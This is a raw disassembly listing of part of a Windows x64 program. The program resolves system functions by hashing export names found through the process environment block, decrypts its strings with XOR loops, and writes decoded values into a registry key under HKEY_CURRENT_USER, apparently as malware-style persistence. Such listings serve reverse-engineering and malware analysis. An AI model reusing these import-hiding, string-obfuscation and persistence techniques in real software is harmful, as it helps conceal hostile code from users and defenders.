pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm14
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm14
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1160]
xorps xmm2, xmm1
movd dword [rbp + 0x1160], xmm2
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp + 0x1150]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140004ed0
lea rcx, [rbp + 0x14a8]
call fcn.140018250
nop
lea rdx, [rbp + 0x14c8]
lea rcx, [rbp + 0x14a8]
call fcn.140017ff0
lea rcx, [rbp + 0x14a8]
call fcn.140017db0
mov r15, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov esi, dword [rdx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140004fc6
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140004fc6
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x81b5a612
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140004fc1
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140004fa0
cmp r8d, 0xb3b85b3b
je 0x140004fcb
test r9d, r9d
jne 0x140004f80
mov rcx, qword [rcx]
jmp 0x140004f50
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, r15
call rdx
lea rcx, [rbp + 0x14a8]
call fcn.140017dc0
lea rcx, [rbp + 0x14c8]
call fcn.140017dc0
nop
lea rcx, [rbp + 0x14a8]
call fcn.140018090
nop
lea rcx, [rbp + 0x14c8]
call fcn.140018090
nop
mov rcx, r14
call fcn.140018090
mov r15, 0xffffffffffffffff
jmp 0x1400062c6
mov rax, qword [0x14001ede0]
test rax, rax
jne 0x1400050f7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop word [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1400050d7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400050d7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x5789f51b
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400050d2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x1400050b0
cmp edx, 0xfeac4843
je 0x14000525f
test r8d, r8d
jne 0x140005090
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x1400050ed
cmp qword [rax + 0x30], 0
jne 0x140005060
mov rax, rdi
mov qword [0x14001ede0], rax
mov r8d, 0x104
lea rdx, [rbp + 0x249e0]
xor ecx, ecx
call rax
lea rdx, [rbp + 0x249e0]
lea rcx, [rbp + 0x1488]
call fcn.1400180f0
nop
lea rcx, [rbp + 0x1488]
call fcn.140017da0
test al, al
jne 0x140005cfd
lea rdx, [rbp + 0x1488]
lea rcx, [rbp + 0x1468]
call fcn.140018130
nop
lea rdx, [rbp + 0x1e48]
lea rcx, [rsp + 0x73]
call fcn.140002550
lea rdx, [rbp + 0xe30]
lea rcx, [rsp + 0x75]
call fcn.140002580
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x76]
call fcn.1400025e0
mov rbx, rax
cmp byte [rax + 7], 0
je 0x1400052b2
mov r8d, edi
cmp r13d, 2
jl 0x14000527b
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
jmp 0x1400052b2
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x1400050f0
mov r9, rbx
nop
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140005280
lea rdx, [rbp + 0xdb0]
lea rcx, [rsp + 0x77]
call fcn.140002590
mov r10, rax
cmp byte [rax + 0x2e], 0
je 0x140005423
mov r8d, edi
cmp r13d, 2
jl 0x1400053e3
movdqa xmmword [rbp + 0xe0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0xe0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400052f0
cmp r8d, 0x2f
jge 0x140005423
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x1400053f0
lea r8, [rbp + 0x1468]
mov rdx, r10
lea rcx, [rbp + 0x870]
call fcn.140018660
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1408]
call fcn.140018490
nop
lea rcx, [rbp + 0x870]
call fcn.140018090
lea rdx, [rbp + 0x10d0]
lea rcx, [rsp + 0x78]
call fcn.1400025f0
lea rdx, [rbp + 0xe44]
lea rcx, [rsp + 0x79]
call fcn.140002600
cmp byte [rbp + 0x1e77], 0
je 0x1400055e2
mov r8d, edi
cmp r13d, 2
jl 0x14000559d
mov edx, edi
movdqa xmmword [rbp + 0xe0], xmm10
lea rcx, [rbp + 0x1e4c]
mov r8d, dword [rbp + 0xe0]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x1400054b0
jmp 0x1400055e2
lea r9, [rbp + 0x1e48]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x1400055b0
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x1e48]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp byte [rbp + 0x1e77], 0
jne 0x140005782
mov r8d, edi
cmp r13d, 2
jl 0x14000573d
mov edx, edi
movdqa xmmword [rbp + 0xe0], xmm10
lea rcx, [rbp + 0x1e4c]
mov r8d, dword [rbp + 0xe0]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x140005650
jmp 0x140005782
lea r9, [rbp + 0x1e48]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x140005750
lea rcx, [rbp + 0x1408]
call fcn.140017db0
mov rcx, r15
lea rcx, [rcx + 1]
cmp byte [rax + rcx], 0
jne 0x140005791
lea ebx, [rcx*2 + 2]
lea rcx, [rbp + 0x1408]
call fcn.140017db0
movzx ecx, byte [rbp + 0xe30]
test cl, cl
je 0x1400057c2
xor cl, 0x57
mov byte [rbp + 0xe30], cl
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [rbp + 0xe30]
mov rcx, qword [0x14001edd0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp byte [rbp + 0xe30], 0
jne 0x1400057f8
mov byte [rbp + 0xe30], 0x57
movzx ecx, byte [rbp + 0xe45]
movzx edx, byte [rbp + 0xe44]
test cl, cl
je 0x14000581c
xor dl, 0x57
mov byte [rbp + 0xe44], dl
xor cl, 0x58
mov byte [rbp + 0xe45], cl
lea r8, [rbp + 0xe44]
mov rax, r15
nop word [rax + rax]
lea rax, [rax + 1]
cmp byte [r8 + rax], 0
jne 0x140005830
lea r10d, [rax*2 + 2]
test cl, cl
je 0x140005859
xor dl, 0x57
mov byte [rbp + 0xe44], dl
xor cl, 0x58
mov byte [rbp + 0xe45], cl
cmp byte [rbp + 0x10df], 0
je 0x140005a72
mov r8d, edi
cmp r13d, 2
jl 0x140005a30
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10d0]
xorps xmm2, xmm1
movd dword [rbp + 0x10d0], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10d4]
xorps xmm2, xmm1
movd dword [rbp + 0x10d4], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10d8]
xorps xmm2, xmm1
movd dword [rbp + 0x10d8], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10dc]
xorps xmm2, xmm1
movd dword [rbp + 0x10dc], xmm2
jmp 0x140005a72
lea r9, [rbp + 0x10d0]
nop word [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140005a40
mov dword [rsp + 0x28], r10d
lea rax, [rbp + 0xe44]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [rbp + 0x10d0]
mov rcx, qword [0x14001edd0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp byte [rbp + 0x10df], 0
jne 0x140005cb2
mov r8d, edi
cmp r13d, 2
jl 0x140005c77
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10d0]
xorps xmm2, xmm1
movd dword [rbp + 0x10d0], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10d4]
xorps xmm2, xmm1
movd dword [rbp + 0x10d4], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10d8]
xorps xmm2, xmm1
movd dword [rbp + 0x10d8], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10dc]
xorps xmm2, xmm1
movd dword [rbp + 0x10dc], xmm2
jmp 0x140005cb2
lea r9, [rbp + 0x10d0]
nop
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140005c80
cmp byte [rbp + 0xe45], 0
jne 0x140005cc9
xor byte [rbp + 0xe44], 0x57
mov byte [rbp + 0xe45], 0x58
mov rcx, qword [0x14001edd0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp + 0x1408]
call fcn.140017dc0
nop
lea rcx, [rbp + 0x1408]
call fcn.140018090
nop
lea rcx, [rbp + 0x1468]
call fcn.140018090
nop
lea rcx, [rbp + 0x1488]
call fcn.140018090
lea rdx, [rbp + 0x1be8]
lea rcx, [rsp + 0x7a]
call fcn.1400024c0
cmp byte [rbp + 0x1c09], 0
jne 0x140005e90
mov r8d, edi
cmp r13d, 2
jl 0x140005e43
movdqa xmmword [rbp + 0xe0], xmm10
lea rcx, [rbp + 0x1bec]
mov edx, dword [rbp + 0xe0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140005d50
cmp r8d, 0x22
jge 0x140005e83
movsxd rax, r8d
lea r9, [rbp + 0x1be8]
add r9, rax
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140005e50
cmp byte [rbp + 0x1c09], 0
je 0x140005ff3
mov r8d, edi
cmp r13d, 2
jl 0x140005fb3
movdqa xmmword [rbp + 0xe0], xmm10
lea rcx, [rbp + 0x1bec]
mov edx, dword [rbp + 0xe0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140005ec0
cmp r8d, 0x22
jge 0x140005ff3
movsxd rax, r8d
lea r9, [rbp + 0x1be8]
add r9, rax
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140005fc0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140006086
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140006086
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x81b5a612
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140006081
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140006060
cmp r8d, 0xb3b85b3b
je 0x14000608b
test r9d, r9d
jne 0x140006040
mov rax, qword [rax]
jmp 0x140006010
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x1be8]
call rdx
cmp byte [rbp + 0x1c09], 0
jne 0x140006213
mov r8d, edi
cmp r13d, 2
jl 0x1400061d3
movdqa xmmword [rbp + 0xe0], xmm10
lea rcx, [rbp + 0x1bec]
mov edx, dword [rbp + 0xe0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
